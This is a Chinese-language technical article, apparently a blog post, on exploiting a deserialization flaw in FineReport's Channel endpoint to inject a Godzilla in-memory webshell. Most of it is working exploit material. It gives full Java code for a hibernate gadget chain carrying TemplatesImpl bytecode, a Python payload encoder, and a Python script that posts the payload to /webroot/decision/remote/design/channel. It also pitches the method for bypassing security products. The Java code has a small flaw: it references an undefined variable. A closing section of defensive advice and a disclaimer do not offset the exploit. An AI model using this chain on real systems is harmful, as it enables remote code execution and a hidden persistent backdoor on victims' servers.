帆软channel反序列化注入哥斯拉内存马
字数 1412 2025-08-23 18:31:17

帆软Channel反序列化注入哥斯拉内存马技术分析

前言

本文详细分析帆软(FineReport) Channel组件的反序列化漏洞利用过程,重点介绍如何通过该漏洞注入哥斯拉(Godzilla)内存马的技术实现。该技术在攻防演练中具有实际应用价值,特别是在绕过安全防护(如360)的场景下。

一、漏洞背景

帆软报表(FineReport)是一款企业级报表工具,其Channel组件存在反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行。

二、内存马生成

2.1 工具准备

使用Java Memshell Generator工具生成Tomcat Filter类型的内存马字节码文件。该工具可生成多种类型的内存马,此处选择Filter类型因其具有较好的隐蔽性和持久性。

2.2 代码分析

生成的.class文件需要进一步处理:

  1. 用IDEA打开.class文件,将其代码复制到.java文件中
  2. 继承AbstractTranslet类(为使用TemplatesImpl类利用链)
  3. 关键方法分析:
    • getBase64String():返回实现哥斯拉webshell的类
    • getUrlPattern():返回Filter的有效路径
    • getClassName():返回注入器类名

注意:原作者可能存在类名写反的情况,实际应用中需仔细核对。

三、反序列化利用EXP生成

3.1 依赖准备

需要引入帆软特定的依赖包:

  • fine-third-10.0.jar(必需)
  • 其他相关jar包(可选)

3.2 利用链选择

使用hibernate1反序列化利用链,但需注意帆软的包名与标准hibernate不同:

  • 标准包名:org.hibernate.*
  • 帆软包名:com.fr.third.org.hibernate.*

3.3 EXP代码解析

完整EXP代码结构如下:

import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.type.ComponentType;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.ReflectionFactory;
import util.SerialUtil;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.zip.GZIPOutputStream;

public class hibernateFR {
    public static void main(String[] args) throws Exception {
        // 1. 准备TemplatesImpl对象
        byte[] code = SerialUtil.getBytecodes();
        TemplatesImpl obj = new TemplatesImpl();
        SerialUtil.setFieldValue(obj, "_bytecodes", new byte[][]{code});
        SerialUtil.setFieldValue(obj, "_name", "test");
        SerialUtil.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        // 2. 构造PojoComponentTuplizer
        Class clazz = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
        Constructor constructor = Object.class.getDeclaredConstructor();
        Permit.setAccessible(constructor);
        Constructor pojoct = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
        Permit.setAccessible(pojoct);
        Object pojoCT = pojoct.newInstance();
        
        // 3. 设置Getter方法
        Class clazz4 = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor constructor4 = clazz4.getDeclaredConstructor(Class.class, String.class, Method.class);
        Object getter = constructor4.newInstance(obj.getClass(), "outputProperties", obj.getClass().getMethod("getOutputProperties"));
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        
        // 4. 设置ComponentType
        Field f = clazz1.getDeclaredField("getters");
        f.setAccessible(true);
        f.set(pojoCT, getters);
        Class clazz3 = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
        Constructor constructor2 = Object.class.getDeclaredConstructor();
        Permit.setAccessible(constructor2);
        Constructor constructor3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, constructor2);
        ComponentType componentType = (ComponentType) constructor3.newInstance();
        TypedValue typedValue = new TypedValue(componentType, null);
        
        // 5. 最终组装
        SerialUtil.setFieldValue(componentType, "componentTuplizer", pojoCT);
        SerialUtil.setFieldValue(componentType, "propertySpan", 1);
        HashMap<Object, String> map = new HashMap<>();
        map.put(typedValue, "1jzz");
        SerialUtil.setFieldValue(typedValue, "value", obj);
        
        // 6. 序列化输出
        GZIPOutputStream gzipOutputStream = new GZIPOutputStream(new FileOutputStream("生成exp的文件路径"));
        byte[] data = SerialUtil.serial(map).toByteArray();
        gzipOutputStream.write(data);
        gzipOutputStream.close();
    }
}

3.4 关键步骤说明

  1. TemplatesImpl对象构造

    • 设置_bytecodes为内存马的字节码
    • 设置_name_tfactory属性
  2. 利用链构造

    • 通过反射创建PojoComponentTuplizer实例
    • 设置Getter方法指向TemplatesImpl.getOutputProperties()
    • 构造ComponentType并设置相关属性
  3. 序列化处理

    • 使用GZIP压缩序列化数据
    • 输出到文件

四、Payload生成与利用

4.1 Base64编码

使用Python脚本将生成的序列化文件进行Base64编码:

import base64

def encode_ser():
    with open("shell", "rb") as f:
        binary = f.read()
    data = base64.b64encode(binary)
    print(data)

if __name__ == '__main__':
    encode_ser()

4.2 漏洞利用脚本

构造HTTP请求发送payload:

import base64
import requests

def cmd():
    proxies = {
        'http': 'http://127.0.0.1:8081',
        'https': 'http://127.0.0.1:8081'
    }
    try:
        burp0_url = "http://localhost:8080/webroot/decision/remote/design/channel"
        burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}
        b = b"生成payload字节码的base64编码"
        burp0_data = base64.b64decode(b)
        res = requests.post(burp0_url, headers=burp0_headers, 
                           data=burp0_data, verify=False, 
                           timeout=3, proxies=proxies)
    except Exception as e:
        print(e)

if __name__ == "__main__":
    cmd()

五、连接内存马

成功利用后,可通过哥斯拉客户端连接注入的内存马。内存马具有以下特点:

  1. 无文件落地
  2. 驻留在内存中
  3. 通过Filter机制实现请求拦截
  4. 隐蔽性强,难以被传统防护设备检测

六、防御建议

  1. 升级帆软到最新版本
  2. 限制/webroot/decision/remote/design/channel的访问权限
  3. 部署RASP防护
  4. 监控异常的内存马特征
  5. 关闭不必要的反序列化功能

七、参考资源

  1. Java反序列化漏洞原理
  2. 内存马技术分析
  3. 帆软官方安全公告
  4. 哥斯拉webshell工作原理

以上为帆软Channel反序列化注入哥斯拉内存马的完整技术分析,包含了从漏洞利用到防御的完整链条。实际应用中请遵守法律法规,仅在授权测试中使用该技术。

帆软Channel反序列化注入哥斯拉内存马技术分析 前言 本文详细分析帆软(FineReport) Channel组件的反序列化漏洞利用过程,重点介绍如何通过该漏洞注入哥斯拉(Godzilla)内存马的技术实现。该技术在攻防演练中具有实际应用价值,特别是在绕过安全防护(如360)的场景下。 一、漏洞背景 帆软报表(FineReport)是一款企业级报表工具,其Channel组件存在反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行。 二、内存马生成 2.1 工具准备 使用 Java Memshell Generator 工具生成Tomcat Filter类型的内存马字节码文件。该工具可生成多种类型的内存马,此处选择Filter类型因其具有较好的隐蔽性和持久性。 2.2 代码分析 生成的.class文件需要进一步处理: 用IDEA打开.class文件,将其代码复制到.java文件中 继承 AbstractTranslet 类(为使用TemplatesImpl类利用链) 关键方法分析: getBase64String() :返回实现哥斯拉webshell的类 getUrlPattern() :返回Filter的有效路径 getClassName() :返回注入器类名 注意 :原作者可能存在类名写反的情况,实际应用中需仔细核对。 三、反序列化利用EXP生成 3.1 依赖准备 需要引入帆软特定的依赖包: fine-third-10.0.jar (必需) 其他相关jar包(可选) 3.2 利用链选择 使用hibernate1反序列化利用链,但需注意帆软的包名与标准hibernate不同: 标准包名: org.hibernate.* 帆软包名: com.fr.third.org.hibernate.* 3.3 EXP代码解析 完整EXP代码结构如下: 3.4 关键步骤说明 TemplatesImpl对象构造 : 设置 _bytecodes 为内存马的字节码 设置 _name 和 _tfactory 属性 利用链构造 : 通过反射创建 PojoComponentTuplizer 实例 设置Getter方法指向 TemplatesImpl.getOutputProperties() 构造 ComponentType 并设置相关属性 序列化处理 : 使用GZIP压缩序列化数据 输出到文件 四、Payload生成与利用 4.1 Base64编码 使用Python脚本将生成的序列化文件进行Base64编码: 4.2 漏洞利用脚本 构造HTTP请求发送payload: 五、连接内存马 成功利用后,可通过哥斯拉客户端连接注入的内存马。内存马具有以下特点: 无文件落地 驻留在内存中 通过Filter机制实现请求拦截 隐蔽性强,难以被传统防护设备检测 六、防御建议 升级帆软到最新版本 限制 /webroot/decision/remote/design/channel 的访问权限 部署RASP防护 监控异常的内存马特征 关闭不必要的反序列化功能 七、参考资源 Java反序列化漏洞原理 内存马技术分析 帆软官方安全公告 哥斯拉webshell工作原理 以上为帆软Channel反序列化注入哥斯拉内存马的完整技术分析,包含了从漏洞利用到防御的完整链条。实际应用中请遵守法律法规,仅在授权测试中使用该技术。